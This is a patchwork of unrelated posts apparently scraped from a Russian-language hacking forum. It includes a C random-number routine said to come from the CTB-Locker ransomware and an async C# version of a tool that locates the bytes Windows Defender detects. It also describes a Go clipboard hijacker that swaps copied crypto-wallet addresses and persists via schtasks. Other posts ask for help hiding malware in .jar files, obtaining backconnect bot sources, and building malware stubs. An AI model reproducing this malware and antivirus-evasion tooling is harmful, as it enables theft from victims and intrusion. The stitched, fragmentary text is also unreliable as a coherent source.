aes.IV = iv;using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();return ms.ToArray();
}
}}
}________
Click to expand...
Не до конца понимаю алгоритм С#
код : http://recordit.co/MLlT5Wty1U
кто понимает что там стучи ко мне тг @GayFox_322
Да да не кидайте помидорами, решил спросить почему стиллер с зависимостями так плохо, если это гарантирует что код сто процентно выполнится и детекта никто никого не будет, не надо возиться с эмуляторами, это нормально или ”умысел школоты"? ибо код на си шарпе да еще с такой херью смешит.
Имеет ли смысл сжимать файл перед шифрованием?
C++:Copy to clipboard
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#define RL(x,n) (((x) << n) | ((x) >> (32 - n)))
#define RR(x,n) (((x) >> n) | ((x) << (32 - n)))
#define S0(x) (RR((x), 2) ^ RR((x),13) ^ RR((x),22))
#define S1(x) (RR((x), 6) ^ RR((x),11) ^ RR((x),25))
#define G0(x) (RR((x), 7) ^ RR((x),18) ^ ((x) >> 3))
#define G1(x) (RR((x),17) ^ RR((x),19) ^ ((x) >> 10))
typedef struct {
uint32_t buf[16];
uint32_t hash[8];
uint32_t len[2];
} sha256_context;
static const uint32_t K[64] = {
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
};
/* -------------------------------------------------------------------------- */
static void _bswapw(uint32_t *p, uint32_t i)
{
while (i--) p[i] = (RR(p[i], 24) & 0x00ff00ff) | (RR(p[i], 8) & 0xff00ff00);
} /* _bswapw */
/* -------------------------------------------------------------------------- */
#ifndef USE_STD_MEMCPY
void * __cdecl _memcp(void *d, const void *s, uint32_t sz)
{
void *rv = d;
while (sz--) *(char *)d = *(char *)s, d = (char *)d + 1, s = (char *)s + 1;
return(rv);
} /* _memcp */
#endif
/* -------------------------------------------------------------------------- */
static void _rtrf(uint32_t *b, uint32_t *p, uint32_t i, uint32_t j)
{
#define B(x, y) b[(x-y) & 7]
#define P(x, y) p[(x+y) & 15]
B(7, i) += (j ? (p[i & 15] += G1(P(i, 14)) + P(i, 9) + G0(P(i, 1))) : p[i & 15])
+ K[i + j] + S1(B(4, i))
+ (B(6, i) ^ (B(4, i) & (B(5, i) ^ B(6, i))));
B(3, i) += B(7, i);
B(7, i) += S0(B(0, i)) + ((B(0, i) & B(1, i)) | (B(2, i) & (B(0, i) ^ B(1, i))));
#undef P
#undef B
} /* _rtrf */
/* -------------------------------------------------------------------------- */
static void _hash(sha256_context *ctx)
{
uint32_t b[8], *p, j;
b[0] = ctx->hash[0]; b[1] = ctx->hash[1]; b[2] = ctx->hash[2];
b[3] = ctx->hash[3]; b[4] = ctx->hash[4]; b[5] = ctx->hash[5];
b[6] = ctx->hash[6]; b[7] = ctx->hash[7];
for (p = ctx->buf, j = 0; j < 64; j += 16)
_rtrf(b, p, 0, j), _rtrf(b, p, 1, j), _rtrf(b, p, 2, j),
_rtrf(b, p, 3, j), _rtrf(b, p, 4, j), _rtrf(b, p, 5, j),
_rtrf(b, p, 6, j), _rtrf(b, p, 7, j), _rtrf(b, p, 8, j),
_rtrf(b, p, 9, j), _rtrf(b, p, 10, j), _rtrf(b, p, 11, j),
_rtrf(b, p, 12, j), _rtrf(b, p, 13, j), _rtrf(b, p, 14, j),
_rtrf(b, p, 15, j);
ctx->hash[0] += b[0]; ctx->hash[1] += b[1]; ctx->hash[2] += b[2];
ctx->hash[3] += b[3]; ctx->hash[4] += b[4]; ctx->hash[5] += b[5];
ctx->hash[6] += b[6]; ctx->hash[7] += b[7];
} /* _hash */
/* -------------------------------------------------------------------------- */
void sha256_init(sha256_context *ctx)
{
ctx->len[0] = ctx->len[1] = 0;
ctx->hash[0] = 0x6a09e667; ctx->hash[1] = 0xbb67ae85;
ctx->hash[2] = 0x3c6ef372; ctx->hash[3] = 0xa54ff53a;
ctx->hash[4] = 0x510e527f; ctx->hash[5] = 0x9b05688c;
ctx->hash[6] = 0x1f83d9ab; ctx->hash[7] = 0x5be0cd19;
} /* sha256_init */
/* -------------------------------------------------------------------------- */
void sha256_hash(sha256_context *ctx, uint8_t *dat, uint32_t sz)
{
register uint32_t i = ctx->len[0] & 63, l, j;
if ((ctx->len[0] += sz) < sz) ++(ctx->len[1]);
for (j = 0, l = 64 - i; sz >= l; j += l, sz -= l, l = 64, i = 0)
{
_memcp((char *)ctx->buf + i, &dat[j], l);
_bswapw(ctx->buf, 16);
_hash(ctx);
}
_memcp((char *)ctx->buf + i, &dat[j], sz);
} /* _hash */
/* -------------------------------------------------------------------------- */
void sha256_done(sha256_context *ctx, uint8_t *buf)
{
uint32_t i = (uint32_t)(ctx->len[0] & 63), j = ((~i) & 3) << 3;
_bswapw(ctx->buf, (i + 3) >> 2);
ctx->buf[i >> 2] &= 0xffffff80 << j; /* add padding */
ctx->buf[i >> 2] |= 0x00000080 << j;
if (i < 56) i = (i >> 2) + 1;
else ctx->buf[15] ^= (i < 60) ? ctx->buf[15] : 0, _hash(ctx), i = 0;
while (i < 14) ctx->buf[i++] = 0;
ctx->buf[14] = (ctx->len[1] << 3) | (ctx->len[0] >> 29); /* add length */
ctx->buf[15] = ctx->len[0] << 3;
_hash(ctx);
for (i = 0; i < 32; i++)
ctx->buf[i % 16] = 0, /* may remove this line in case of a DIY cleanup */
buf[i] = (uint8_t)(ctx->hash[i >> 2] >> ((~i & 3) << 3));
} /* sha256_done */
BOOL getRandomBuffer(BYTE* data, SIZE_T len) {
typedef BOOL(WINAPI* fnc)(BYTE*, SIZE_T);
static HMODULE library;
static FARPROC func;
if (!library) library = LoadLibraryA("advapi32.dll");
if (!func) func = GetProcAddress(library, "SystemFunction036");
return ((fnc)func)(data, len);
}
int main() {
sha256_context sha;
sha256_init(&sha);
BYTE hash[32];
if (&sha) {
DWORD xorThreadProcID = GetCurrentThreadId() ^ GetCurrentProcessId();
DWORD tickCount = GetTickCount();
FILETIME sysFileTime;
BYTE buffer[36];
if (getRandomBuffer(buffer, 0x14)) {
GetSystemTimeAsFileTime(&sysFileTime);
buffer[0x14 + 0x00] = (sysFileTime.dwHighDateTime >> 24) & 0xFF;
buffer[0x14 + 0x01] = (sysFileTime.dwHighDateTime >> 16) & 0xFF;
buffer[0x14 + 0x02] = (sysFileTime.dwHighDateTime >> 8) & 0xFF;
buffer[0x14 + 0x03] = (sysFileTime.dwHighDateTime) & 0xFF;
buffer[0x14 + 0x04] = (sysFileTime.dwLowDateTime >> 24) & 0xFF;
buffer[0x14 + 0x05] = (sysFileTime.dwLowDateTime >> 16) & 0xFF;
buffer[0x14 + 0x06] = (sysFileTime.dwLowDateTime >> 8) & 0xFF;
buffer[0x14 + 0x07] = (sysFileTime.dwLowDateTime) & 0xFF;
buffer[0x14 + 0x08] = (tickCount >> 24) & 0xFF;
buffer[0x14 + 0x09] = (tickCount >> 16) & 0xFF;
buffer[0x14 + 0x0A] = (tickCount >> 8) & 0xFF;
buffer[0x14 + 0x0B] = (tickCount) & 0xFF;
buffer[0x14 + 0x0C] = (xorThreadProcID >> 24) & 0xFF;
buffer[0x14 + 0x0D] = (xorThreadProcID >> 16) & 0xFF;
buffer[0x14 + 0x0E] = (xorThreadProcID >> 8) & 0xFF;
buffer[0x14 + 0x0F] = (xorThreadProcID) & 0xFF;
}
sha256_hash(&sha, buffer, 36);
sha256_done(&sha, hash);
}
return 0;
}
Код не оформлял, выкладываю реализацию CSPRNG известного криптолокера CTB-
Locker.
P.S. Конкурентов я не давлю таким образом, я и свой код выкладываю, просто
заполняю форум контентом.
Согласно справке [https://docs.microsoft.com/ru-ru/cp...-a-c-program-on-the-
command-line?view=vs-2019](https://docs.microsoft.com/ru-
ru/cpp/build/walkthrough-compile-a-c-program-on-the-command-line?view=vs-2019)
для копиляции фаилов из архива с помощью командной строки VS необходимо
выполнить
например cl file1.c file2.c file3.c с перечисоением всех фаилов. Подскажите
пожалйста нет ли способа задать дирректорию так чтобы фаилы внутри неё включая
в поддирр. были автоматически скомпилированы? Чтобы все не перечислять. Их же
может быть очень много.
Приветствую. Есть ли специалисты кто сможет сделать реверс длл, ну или хотя бы расковырять длл и понять что она делает? Подробности дам в пм.
Всем привет, это моя первая статья, написат её меня побудило то, что когда я
писал 1 софт из-за того что я использовал плохую
функцию сравнения строк он работал очень долго, сейчас я хочу замерить скорось
работы таких функций как: lstrcmpW, wcsicmp , StrStrW
и понять какая из них более приспособленна к частым вызовам.
Тестирование будем проводить на таком коде:
C++:Copy to clipboard
int main(int argc, char *argv[]) {
WCHAR* p1 = (WCHAR*)L"abcdabcdabcdabcd";
WCHAR* p2 = (WCHAR*)L"abcdabcdabcdabcd";
long double before = GetTickCount();
for (int i = 0; i < 10000000; i++) {
/*compare*/(p1, p2);
}
long double after = GetTickCount();
long double seconds = (after - before) / 1000;
printf("\n\n\nSeconds: %lf", seconds);
getchar();
return -1;
}
1. lstrcmpW
Первый опыт: 8.969000 сек
Второй опыт: 7.407000 сек
Третий опыт: 7.656000 сек
2. wcsicmp
Первый опыт: 0.844000 сек
Второй опыт: 0.891000 сек
Третий опыт: 0.875000 сек
2. StrStrW
Первый опыт: 9.141000 сек
Второй опыт: 7.859000 сек
Третий опыт: 7.797000 сек
Как можно понять из результатов выше, самая быстрая функция это wcsicmp ,
ну и бонусом я напишу свою функцию для сравнения и посмотрим на её
скорость.
C++:Copy to clipboard
int wcmp(wchar_t* p1, wchar_t* p2) {
if (p1 && p2) {
do {
if (*p1 != *p2) return 1;
p1++; p2++;
} while (*p1 && *p2);
if (*p1 == L'\0' && *p2 == L'\0') return 0;
}
return 1;
}
При запуске показывает 0.453000 секунд :smile23:
Я хотел бы поделиться с вами интересным проектом, который мог бы быть полезным для анализа сигнатур от WD. Возможно, вы уже знакомы с ним - https://github.com/matterpreter/DefenderCheck.
После некоторого времени проведенного за изучением и разработкой, я создал асинхронную версию этого проекта, и я должен признать, что она работает гораздо быстрее. Теперь можно быстро обрабатывать большие объемы данных и искать сигнатуры, которые могут указывать на проблемы с WD. Просто скопируйте сигнатуру в hex-редакторе, используя код из проекта, и вы сможете найти и исправить проблему.
Для компиляции замените код на следующий:
C#:Copy to clipboard
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace DefenderCheck
{
static class ProcessExtensions
{
public static Task WaitForExitAsync(this Process process, CancellationToken cancellationToken = default)
{
if (process == null)
throw new ArgumentNullException(nameof(process));
var tcs = new TaskCompletionSource<bool>();
process.EnableRaisingEvents = true;
process.Exited += (s, e) => tcs.TrySetResult(true);
if (cancellationToken != default)
cancellationToken.Register(() => tcs.TrySetCanceled());
return tcs.Task;
}
}
class Program
{
private const string TempDirectoryPath = @"C:\Temp";
private const string TestFilePath = @"C:\Temp\testfile.exe";
static async Task Main(string[] args)
{
bool debug = false;
if (args.Length == 2 && args[1].Contains("debug"))
{
debug = true;
}
string targetFile = args[0];
if (!File.Exists(targetFile))
{
Console.WriteLine("[-] Can't access the target file");
return;
}
string originalFileDetectionStatus = Scan(targetFile).ToString();
if (originalFileDetectionStatus.Equals("NoThreatFound"))
{
if (debug) { Console.WriteLine("Scanning the whole file first"); }
Console.WriteLine("[+] No threat found in the submitted file!");
return;
}
if (!Directory.Exists(TempDirectoryPath))
{
Console.WriteLine(@"[-] C:\Temp doesn't exist. Creating it...");
Directory.CreateDirectory(TempDirectoryPath);
}
byte[] originalFileContents = await ReadAllBytesAsync(targetFile);
int originalFileSize = originalFileContents.Length;
Console.WriteLine("Target file size: {0} bytes", originalFileContents.Length);
Console.WriteLine("Analyzing...\n");
byte[] buffer = new byte[originalFileSize / 2];
Array.Copy(originalFileContents, 0, buffer, 0, buffer.Length);
int lastGood = 0;
bool threatFound = false;
while (!threatFound)
{
if (debug) { Console.WriteLine("Testing {0} bytes", buffer.Length); }
await WriteAllBytesAsync(TestFilePath, buffer);
List<Task<ScanResult>> scanTasks = new List<Task<ScanResult>>
{
Task.Run(() => Scan(TestFilePath))
};
for (int i = 0; i < lastGood; i += buffer.Length)
{
int remainingBytes = originalFileContents.Length - i;
int bytesToCopy = Math.Min(buffer.Length, remainingBytes);
byte[] previousPart = new byte[bytesToCopy];
Array.Copy(originalFileContents, i, previousPart, 0, bytesToCopy);
string previousFilePath = $@"{TempDirectoryPath}\previousPart{i}.exe";
await WriteAllBytesAsync(previousFilePath, previousPart);
scanTasks.Add(Task.Run(() => Scan(previousFilePath)));
}
await Task.WhenAll(scanTasks);
foreach (var task in scanTasks)
{
string detectionStatus = task.Result.ToString();
if (detectionStatus.Equals("ThreatFound"))
{
if (debug) { Console.WriteLine("Threat found. Half-splitting again..."); }
byte[] tempArray = await HalfSplitterAsync(buffer, lastGood);
Array.Resize(ref buffer, tempArray.Length);
Array.Copy(tempArray, buffer, tempArray.Length);
break;
}
else if (detectionStatus.Equals("NoThreatFound"))
{
if (debug) { Console.WriteLine("No threat found. Going up 50% of the current size."); };
lastGood = buffer.Length;
byte[] tempArray = Overshot(originalFileContents, buffer.Length);
if (tempArray.Length == buffer.Length)
{
Console.WriteLine("Exhausted the search. The binary looks good to go!");
Environment.Exit(0);
}
Array.Resize(ref buffer, tempArray.Length);
Array.Copy(tempArray, buffer, tempArray.Length);
}
else
{
Console.WriteLine("Unknown detection status: {0}", detectionStatus);
Environment.Exit(1);
}
}
}
}
public static async Task<ScanResult> ScanByteArray(byte[] bytes)
{
// Создаем временный файл для сохранения массива байтов
string tempFilePath = Path.Combine(TempDirectoryPath, "tempfile.exe");
try
{
// Записываем массив байтов во временный файл
await WriteAllBytesAsync(tempFilePath, bytes);
// Выполняем сканирование временного файла
ScanResult scanResult = await Scan(tempFilePath);
return scanResult;
}
finally
{
// Удаляем временный файл
if (File.Exists(tempFilePath))
{
File.Delete(tempFilePath);
}
}
}
public static async Task<byte[]> HalfSplitterAsync(byte[] originalarray, int lastgood)
{
int startIndex = lastgood;
int endIndex = originalarray.Length;
int bufferSize = endIndex - startIndex;
if (bufferSize <= 0)
{
Console.WriteLine("[-] Invalid buffer size. Something is wrong...");
Environment.Exit(1);
}
byte[] splitarray = new byte[bufferSize];
Array.Copy(originalarray, startIndex, splitarray, 0, bufferSize);
// Scan the split array for threats
ScanResult scanResult = await ScanByteArray(splitarray);
if (scanResult == ScanResult.ThreatFound)
{
Console.WriteLine("[!] Identified end of bad bytes at offset 0x{0:X} in the original file", endIndex);
await Scan(TestFilePath, true);
byte[] offendingBytes = new byte[256];
int offendingBytesLength = Math.Min(bufferSize, 256);
Array.Copy(splitarray, bufferSize - offendingBytesLength, offendingBytes, 0, offendingBytesLength);
HexDump(offendingBytes, 16);
File.Delete(TestFilePath);
Environment.Exit(0);
}
return splitarray;
}
public static byte[] Overshot(byte[] originalArray, int splitArraySize)
{
int newSize = splitArraySize + (originalArray.Length - splitArraySize) / 2;
if (newSize == originalArray.Length - 1)
{
Console.WriteLine("Exhausted the search. The binary looks good to go!");
Environment.Exit(0);
}
byte[] newArray = new byte[newSize];
Array.Copy(originalArray, 0, newArray, 0, newArray.Length);
return newArray;
}
public static async Task<byte[]> ReadAllBytesAsync(string path)
{
using (FileStream sourceStream = new FileStream(path,
FileMode.Open, FileAccess.Read, FileShare.Read,
bufferSize: 4096, useAsync: true))
{
int bufferSize = (int)sourceStream.Length;
byte[] buffer = new byte[bufferSize];
await sourceStream.ReadAsync(buffer, 0, bufferSize);
return buffer;
}
}
public static async Task WriteAllBytesAsync(string path, byte[] bytes)
{
using (FileStream destinationStream = new FileStream(path,
FileMode.Create, FileAccess.Write, FileShare.None,
bufferSize: 4096, useAsync: true))
{
await destinationStream.WriteAsync(bytes, 0, bytes.Length);
}
}
public static async Task<ScanResult> Scan(string file, bool getSig = false)
{
if (!File.Exists(file))
{
return ScanResult.FileNotFound;
}
var process = new Process();
var mpcmdrun = new ProcessStartInfo(@"C:\Program Files\Windows Defender\MpCmdRun.exe")
{
Arguments = $"-Scan -ScanType 3 -File \"{file}\" -DisableRemediation -Trace -Level 0x10",
CreateNoWindow = true,
ErrorDialog = false,
UseShellExecute = false,
RedirectStandardOutput = true,
WindowStyle = ProcessWindowStyle.Hidden
};
process.StartInfo = mpcmdrun;
process.Start();
await process.WaitForExitAsync(); // Ожидание асинхронного завершения процесса
if (!process.HasExited)
{
process.Kill();
return ScanResult.Timeout;
}
if (getSig)
{
string stdout;
while ((stdout = await process.StandardOutput.ReadLineAsync()) != null)
{
if (stdout.Contains("Threat "))
{
string[] sig = stdout.Split(' ');
string sigName = sig[19];
Console.WriteLine($"File matched signature: \"{sigName}\"\n");
break;
}
}
}
switch (process.ExitCode)
{
case 0:
return ScanResult.NoThreatFound;
case 2:
return ScanResult.ThreatFound;
default:
return ScanResult.Error;
}
}
public enum ScanResult
{
[Description("No threat found")]
NoThreatFound,
[Description("Threat found")]
ThreatFound,
[Description("The file could not be found")]
FileNotFound,
[Description("Timeout")]
Timeout,
[Description("Error")]
Error
}
//Adapted from https://www.codeproject.com/Articles/36747/Quick-and-Dirty-HexDump-of-a-Byte-Array
public static void HexDump(byte[] bytes, int bytesPerLine = 16)
{
if (bytes == null)
{
Console.WriteLine("[-] Empty array supplied. Something is wrong...");
return;
}
int bytesLength = bytes.Length;
int totalLines = (bytesLength + bytesPerLine - 1) / bytesPerLine;
StringBuilder result = new StringBuilder();
for (int line = 0; line < totalLines; line++)
{
int lineStart = line * bytesPerLine;
int lineEnd = Math.Min(lineStart + bytesPerLine, bytesLength);
int lineLength = lineEnd - lineStart;
// Hex representation
StringBuilder hexBuilder = new StringBuilder(lineLength * 3);
for (int i = lineStart; i < lineEnd; i++)
{
hexBuilder.Append(bytes[i].ToString("X2"));
hexBuilder.Append(" ");
}
string hexLine = hexBuilder.ToString().PadRight(bytesPerLine * 3);
// ASCII representation
StringBuilder asciiBuilder = new StringBuilder(lineLength);
for (int i = lineStart; i < lineEnd; i++)
{
byte b = bytes[i];
char c = (b >= 32 && b <= 126) ? (char)b : '.';
asciiBuilder.Append(c);
}
string asciiLine = asciiBuilder.ToString();
// Combine hex and ASCII lines
string fullLine = $"{hexLine} {asciiLine}\n";
result.Append(fullLine);
}
Console.WriteLine(result.ToString());
}
}
}
Надеюсь, что этот проект будет полезным для вас, и я призываю вас воспользоваться им. Если у вас есть какие-либо вопросы или отзывы, буду рад услышать их.
Удачи и продуктивного анализа сигнатур!
Набросал простенький json-парсер. За основу был взят
https://github.com/rafagafe/tiny-json
Пример использования:
C++:Copy to clipboard
#include <windows.h>
#include "json.h"
#pragma comment(linker, "/SUBSYSTEM:Windows /ENTRY:main")
#define FIELDS_COUNT 4
int main()
{
char jsonObj[] = "{\"str_value\": \"json string\", \"bool_value\": false, \"int_value\": 228}";
char output[MAX_PATH];
json_t mem[FIELDS_COUNT];
json jObj(jsonObj, mem, FIELDS_COUNT);
jObj.property("str_value");
if (jObj.type() == JSON_STR)
{
wsprintfA(output, "str_value = %s\n", jObj.string());
OutputDebugStringA(output);
}
jObj.property("bool_value");
if (jObj.type() == JSON_BOOL)
{
wsprintfA(output, "bool_value = %s\n", jObj.boolean() ? "true" : "false");
OutputDebugStringA(output);
}
jObj.property("int_value");
if (jObj.type() == JSON_INT)
{
wsprintfA(output, "int_value = %d\n", jObj.num());
OutputDebugStringA(output);
}
return 0;
}
Пароль:
You must have at least 20 message(s) to view the content.
Начал увлекаться написанию драйверов, пока знания на очень низком уровне.
И все что делает мой драйвер это выводит Hello через функцию DbgPrint.
Инжект делаю через process hacker, а отлаживаю) через DBGview.
Но вопрос в том, как мне написать самому или же сделать пасту какого нибудь
инжектора?
Нужно чтобы человек открывал exe файл и драйвер загружался.
На гитхабе годного не нашел, а в гугле вроде пусто.
Заранее спасибо.
Всем доброго! Накопилась литература , надеюсь будет кому-то полезна.
Откуда можно выдернуть рабочие сорцы клиента И сервера Backconnect socks5 на
с++\с под Виндоус??
Перерыл кучу исходников ботов, не нашел рабочее. Может кто уже сталкивался.
Спасибо.!
Я новичок в этом и хочу узнать, как скрыть вредоносное ПО в .jar, кто может
научить меня или у кого есть статьи, которые могут мне помочь?
на данный момент я вижу proguard, но не знаю, как им пользоваться, потому что
у меня нет вредоносного кода.
Спасибо большое.
Пишу тулзу для поиска ROP'ов в качестве практики сишечки.
Возник вопрос: как правильно спарсить бинарник? Не уверен, что обычный fopen
что сможет открыть его правильно (ибо опкоды). Есть еще какие-либо способы это
сделать адекватно?
Hello, I'm interested in builder stub methods, I did't find more than 2-3
blogs/threads around the web, most of them are old. I'm interested in learning
what are the best ways (high level theory) to write information from the
builder to the stub, so: what are the methods available, what are the best and
why. I want to use C for both the builder and the stub.
I found two methods: writing in the EOF and using Resource, but I know there
are others.
Для тех кто хочет научиться внедрять свои эксплоиты в пользовательские приложения, а не так как это делает большинство эксплоитов создавая максимально подозрительные APK...
PACKT - Building Professional Android Applications Training Video Course
](https://drive.google.com/open?id=159XwqMS1DMgg9-A4kk8OcR8sXaKbJUAF)
drive.google.com
PACKT - Android Application Architecture Training Video Course
](https://drive.google.com/open?id=14NndBcawget0gCJWOBHpRj41DScYS9Gx)
drive.google.com
Всем удачного и продуктивного обучения!
Есть ли возможность хукнуть ту или иную функцию в kernel32.dll глобально без длл инжекта? Хочу хукнуть ReadProcessMemory для предотвращение чтения памяти моей апплы
Если тему не тут выложил,прошу перенести!!!
Hidden content for authorized users.
View and download from Yandex.Disk
yadi.sk
вот сам конфиг https://yadi.sk/d/4p4RaYgH3GHR7z
https://yadi.sk/d/UGDuF2MC3GHR85
Угорел с названия презентации Анатолия (не побоюсь этого слова) Жмура, да и в целом презентация довольно неплохая, хоть я и смотрел ее на 1.25 скорости. Посвящена новомодному синтаксическому сахару Шарпов. Ну и да, следует заметить, что многие фичи и сахарок новых стандартов языка программирования С#
Лазил по каналам в Telegram, наткнулся на неполные сурсы. После потраченных 6 часов, мне скинули фулл.
Download: https://anonfiles.com/T57dK6j3p4/Source_zip
pass:xss.is
Why are most payloads x32 instead of x64, i mean the new ones too, is there a any certain reason why it is this way if so what are the reasons. I feel like x64 is more up to date and better in that sense so please inform me
я хочу внедрить этот шифр в приложение на языке Си, но не знаю, с чего начать. Какие ресурсы я должен искать?
Всё так же познаю азы работы с winapi на го, для практики написал простой
клиппер. Регистрируем класс, создаём окно, добавляем свой листенер изменений
буфера обмена, в в обработчике нашего окна ловим событие WM_CLIPBOARDUPDATE ну
и заменяем буфер на нужное нам значение, если текст в буфере подходит под одну
из регулярок в конфиге. Авторан пока что реализован просто через schtasks.exe,
чуть позже переделаю на COM планировщика (как изучу как вообще с COM работать
на го).
Кошельки указывать в файле internal/config/config.go, пример:
C:Copy to clipboard
func NewConfig() *Config {
return &Config{
wallets: []Wallet{
{
RegEx: "^(bc1|[13])[a-zA-HJ-NP-Z0-9]+",
Wallet: "btc",
},
{
RegEx: "*",
Wallet: "my awesome wallet",
}, // не забываем запятую
},
}
}
Ну и в принципе всё. Сурсы в аттаче, собираем так же батником build_win32_gui.bat. Вес собранного бинаря 1.6 метра, под upx 600 кб.
Всем привет, вариант отработки этого (https://xss.is/threads/123192/) алгоритма на C#, при компиляции в Visual Studio 2022 не забудьте поставить Nuget Packet: Microsoft.Extensions.Logging
Написал: rand
Эксклюзивно для: XSS.is
C#:Copy to clipboard
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Text;
using Microsoft.Extensions.Logging;
using System.Threading;
class Program
{
// Инициализация логгера для вывода информации в консоль с уровнем сообщений от Information и выше
private static readonly ILogger logger = LoggerFactory.Create(builder =>
{
builder.AddConsole();
builder.AddFilter(level => level >= LogLevel.Information);
}).CreateLogger<Program>();
// Определение временной директории для хранения промежуточных файлов
private static string tempDir = Path.Combine(Directory.GetCurrentDirectory(), "TEMP");
// Объекты блокировки для синхронизации потоков при работе с общими ресурсами
private static readonly object _finalTempFilesLock = new object();
private static readonly object _totalCountLock = new object();
// Основной метод программы
static async Task Main(string[] args)
{
// Запуск таймера для измерения времени выполнения программы
var stopwatch = Stopwatch.StartNew();
string inputFile = "large_random_emails.txt"; // Имя импортируемого файла
string outputFile = "output-sorted-unique.txt"; // Имя экспортируемого файла
logger.LogInformation($"Запуск программы для обработки файла {inputFile} и сохранения в {outputFile}");
// Запуск асинхронной функции для сортировки и удаления дубликатов
int originalCount = await SortAndUniqStreaming(inputFile, outputFile);
// Остановка таймера и вывод итоговой информации
stopwatch.Stop();
logger.LogInformation($"Всего обработано строк: {originalCount}");
logger.LogInformation($"Удаление дублей и сортировка заняли {stopwatch.Elapsed.TotalSeconds:F4} секунд");
}
// Асинхронная функция, которая реализует чтение файла, сортировку и удаление дубликатов
static async Task<int> SortAndUniqStreaming(string inputFile, string outputFile, int chunkSize = 2000000, int batchSize = 10)
{
// Потокобезопасная коллекция для хранения задач по обработке чанков
ConcurrentBag<Task<string>> tempFileTasks = new ConcurrentBag<Task<string>>();
List<string> chunk = new List<string>(); // Список для хранения текущего чанка данных
int originalCount = 0; // Счётчик общего количества строк
// Проверка наличия временной директории и создание её при необходимости
if (!Directory.Exists(tempDir))
{
Directory.CreateDirectory(tempDir);
}
logger.LogInformation($"Чтение файла {inputFile}...");
// Чтение файла построчно
using (StreamReader reader = new StreamReader(inputFile, Encoding.UTF8))
{
while (!reader.EndOfStream)
{
string line = await reader.ReadLineAsync(); // Чтение строки
chunk.Add(line.Trim()); // Добавление строки в чанк
originalCount++; // Увеличение счётчика строк
// Если чанк заполнен (достигнут лимит chunkSize), отправляем его на обработку
if (chunk.Count >= chunkSize)
{
var chunkCopy = chunk.ToArray(); // Копирование чанка для передачи в задачу
logger.LogInformation($"Чанк заполнен ({chunk.Count} строк). Начинаем обработку.");
tempFileTasks.Add(Task.Run(() => ProcessChunk(chunkCopy))); // Запуск задачи на обработку чанка
chunk.Clear(); // Очистка чанка для новых данных
}
}
// Обработка последнего неполного чанка, если он остался
if (chunk.Count > 0)
{
var chunkCopy = chunk.ToArray();
logger.LogInformation($"Обработка последнего неполного чанка размером {chunk.Count} строк.");
tempFileTasks.Add(Task.Run(() => ProcessChunk(chunkCopy)));
}
}
// Ожидание завершения всех задач по обработке чанков
logger.LogInformation("Ожидание завершения обработки всех чанков...");
string[] tempFiles = await Task.WhenAll(tempFileTasks);
logger.LogInformation("Все чанки обработаны. Начинается пакетное слияние временных файлов батчами...");
// Удаление пустых файлов и подготовка к слиянию
tempFiles = tempFiles.Where(file => file != null).ToArray();
ConcurrentBag<string> finalTempFiles = new ConcurrentBag<string>(); // Хранилище финальных временных файлов
int totalUniqueCount = 0; // Общее количество уникальных строк
int totalDuplicateCount = 0; // Общее количество дубликатов
// Разбиение файлов на батчи для пакетной обработки
var mergeTasks = new List<Task>();
for (int i = 0; i < tempFiles.Length; i += batchSize)
{
var batch = tempFiles.Skip(i).Take(batchSize).ToArray();
// Создание задачи для слияния батча
mergeTasks.Add(Task.Run(async () =>
{
if (batch.Length > 1)
{
string tempOutputFile = Path.Combine(tempDir, Path.GetRandomFileName()); // Имя временного файла для слияния
logger.LogInformation($"Слияние батча из {batch.Length} файлов в {tempOutputFile}.");
var mergeResult = await MergeFiles(batch, tempOutputFile); // Слияние файлов в батче
finalTempFiles.Add(tempOutputFile); // Добавление итогового файла в общий список
// Увеличение глобальных счётчиков уникальных строк и дубликатов
Interlocked.Add(ref totalUniqueCount, mergeResult.Item1);
Interlocked.Add(ref totalDuplicateCount, mergeResult.Item2);
// Удаление временных файлов после их слияния
foreach (var tempFile in batch)
{
if (File.Exists(tempFile))
{
File.Delete(tempFile);
}
}
}
else
{
// Если в батче только один файл, добавляем его без изменений
finalTempFiles.Add(batch[0]);
}
}));
}
// Ожидание завершения всех задач по слиянию файлов
await Task.WhenAll(mergeTasks);
// Финальное слияние временных файлов в выходной файл
if (finalTempFiles.Count > 0)
{
logger.LogInformation($"Финальное слияние {finalTempFiles.Count} временных файлов в {outputFile}.");
var mergeFinalResult = await MergeFiles(finalTempFiles.ToArray(), outputFile); // Окончательное слияние
totalUniqueCount += mergeFinalResult.Item1; // Добавление уникальных строк
totalDuplicateCount += mergeFinalResult.Item2; // Добавление дубликатов
}
// Вывод информации о количестве уникальных строк и дубликатов
logger.LogInformation($"Уникальных строк: {totalUniqueCount}, дублей удалено: {totalDuplicateCount}");
return originalCount; // Возврат общего количества строк
}
